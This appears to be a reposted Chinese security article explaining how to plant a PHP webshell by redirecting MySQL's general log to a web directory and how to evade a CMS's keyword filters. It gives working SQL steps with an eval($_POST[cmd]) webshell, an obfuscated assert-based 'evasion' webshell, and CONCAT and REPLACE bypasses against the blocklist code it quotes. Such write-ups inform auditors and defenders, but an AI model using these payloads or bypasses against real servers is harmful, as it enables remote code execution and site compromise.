mysql 开启日志 写shell_【安全科普】SQL语句利用日志写shell及相关绕过

本文介绍了如何在MySQL中利用SQL语句开启日志并写入shell,以及针对过滤.php和相关函数的绕过方法,包括使用CONCAT和REPLACE函数进行字符串操作来规避检测。
摘要由CSDN通过智能技术生成

原标题:【安全科普】SQL语句利用日志写shell及相关绕过

● 0x01 基本原理●

在能够写SQL语句的地方,outfile、dumpfile、drop database等都被禁止,一般进行SQL注入来getshell或删库的方式行不通了。

但是如果MySQL是root用户启动的,那么可以进行如下利用:

1showvariableslike'%general%'; #查看配置

2

3setglobalgeneral_log = on; #开启general log模式

4

5setglobalgeneral_log_file = '/var/www/html/1.php'; #设置日志目录为shell地址

6

7select'<?php eval($_POST[cmd]);?>'#写入shell

SQL查询免杀shell的语句(参考:SQL语句利用日志写shell):

1SELECT " <?php $p = array( 'f'=> 'a', 'pffff'=> 's', 'e'=> 'fffff', 'lfaaaa'=> 'r', 'nnnnn'=> 't');$a = array_keys($p);$_=$p[ 'pffff'].$p[ 'pffff'].$a[ 2];$_= 'a'.$_. 'rt';$_(base64_decode($_REQUEST[ 'username'])); ?>"

● 0x02 Bypass案例●

这个案例虽然鸡肋,但是思路还可以。

>>>>

过滤 .php

代码审计某CMS时,看到一处写SQL语句的地方,此处之前报过漏洞,修复方案是过滤了outfile、dumpfile、drop database等,此外还过滤了.php字符串,为的就是防住SQL语句日志写shell:

1if(stristr( $sql, 'outfile')){

2$str= 'ERROR : 检测到非法字符 “outfile”!';

3break;

4}

5if(stristr( $sql, 'dumpfile')){

6$str= 'ERROR : 检测到非法字符 “dumpfile”!';

7break;

8}

9if(stristr( $sql, '.php')){

10$str= 'ERROR : 检测到非法字符 “.php” !';

11break;

12}

13if(preg_match( "/^drop(.*)database/i", $sql)){

14$str= 'ERROR : 不允许删除数据库!';

15break;

16}

这里直接写上述的SQL语句肯定是不行的,因为set global general_log_file = '/var/www/html/1.php';的.php会被过滤掉。

这里只是针对字符串的检测,可以用字符串拼接的方式Bypass,这里可以使用SQL语句中的concat家族系列函数来实现字符串拼接来Bypass:

1showvariableslike'%general%'; #查看配置

2

3setglobalgeneral_log = on; #开启general log模式

4

5setglobalgeneral_log_file = CONCAT( "/var/www/html/1.", "php");

6

7select'<?php eval($_POST[cmd]);?>'; #写入shell

>>>>

过滤 .php和concat

在这次报过的漏洞之后,CMS厂商修改了这个洞,就是添加了对concat的字符串过滤,这样concat家族系列函数就使不上了。

1if(stristr( $sql, 'outfile')){

2$str= 'ERROR : 检测到非法字符 “outfile”!';

3break;

4}

5if(stristr( $sql, 'dumpfile')){

6$str= 'ERROR : 检测到非法字符 “dumpfile”!';

7break;

8}

9if(stristr( $sql, '.php')){

10$str= 'ERROR : 检测到非法字符 “.php” !';

11break;

12}

13if(stristr( $sql, 'concat')){

14$str= 'ERROR : 检测到非法字符 “concat” !';

15break;

16}

17if(preg_match( "/^drop(.*)database/i", $sql)){

18$str= 'ERROR : 不允许删除数据库!';

19break;

20}

使用concat进行字符串拼接的方式没法绕过了,但是除了字符串拼接,我们还能使用字符串替换的操作来绕过:

1showvariableslike'%general%'; #查看配置

2

3setglobalgeneral_log = on; #开启general log模式

4

5setglobalgeneral_log_file = REPLACE( "/var/www/html/1.jpg", "jpg", "php");

6

7select'<?php eval($_POST[cmd]);?>'; #写入shell

>>>>

过滤 .php、concat和replace

CMS厂商收到新的绕过漏洞报告后,又进行新一轮的修复,过滤了replace:

1if(stristr( $sql, 'outfile')){

2$str= 'ERROR : 检测到非法字符 “outfile”!';

3break;

4}

5if(stristr( $sql, 'dumpfile')){

6$str= 'ERROR : 检测到非法字符 “dumpfile”!';

7break;

8}

9if(stristr( $sql, '.php')){

10$str= 'ERROR : 检测到非法字符 “.php” !';

11break;

12}

13if(stristr( $sql, 'concat')){

14$str= 'ERROR : 检测到非法字符 “concat” !';

15break;

16}

17if(stripos( $sql, 'replace')){

18$str= 'ERROR : 检测到非法字符 “replace” !';

19break;

20}

21if(preg_match( "/^drop(.*)database/i", $sql)){

22$str= 'ERROR : 不允许删除数据库!';

23break;

24}

字符串拼接和替换都不能成功进行利用了,还有啥办法不?

当然还有新的Bypass方法哈哈。

文:Mi1k7ea

原文链接:https://www.mi1k7ea.com

如有侵权请联系删除

责任编辑:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值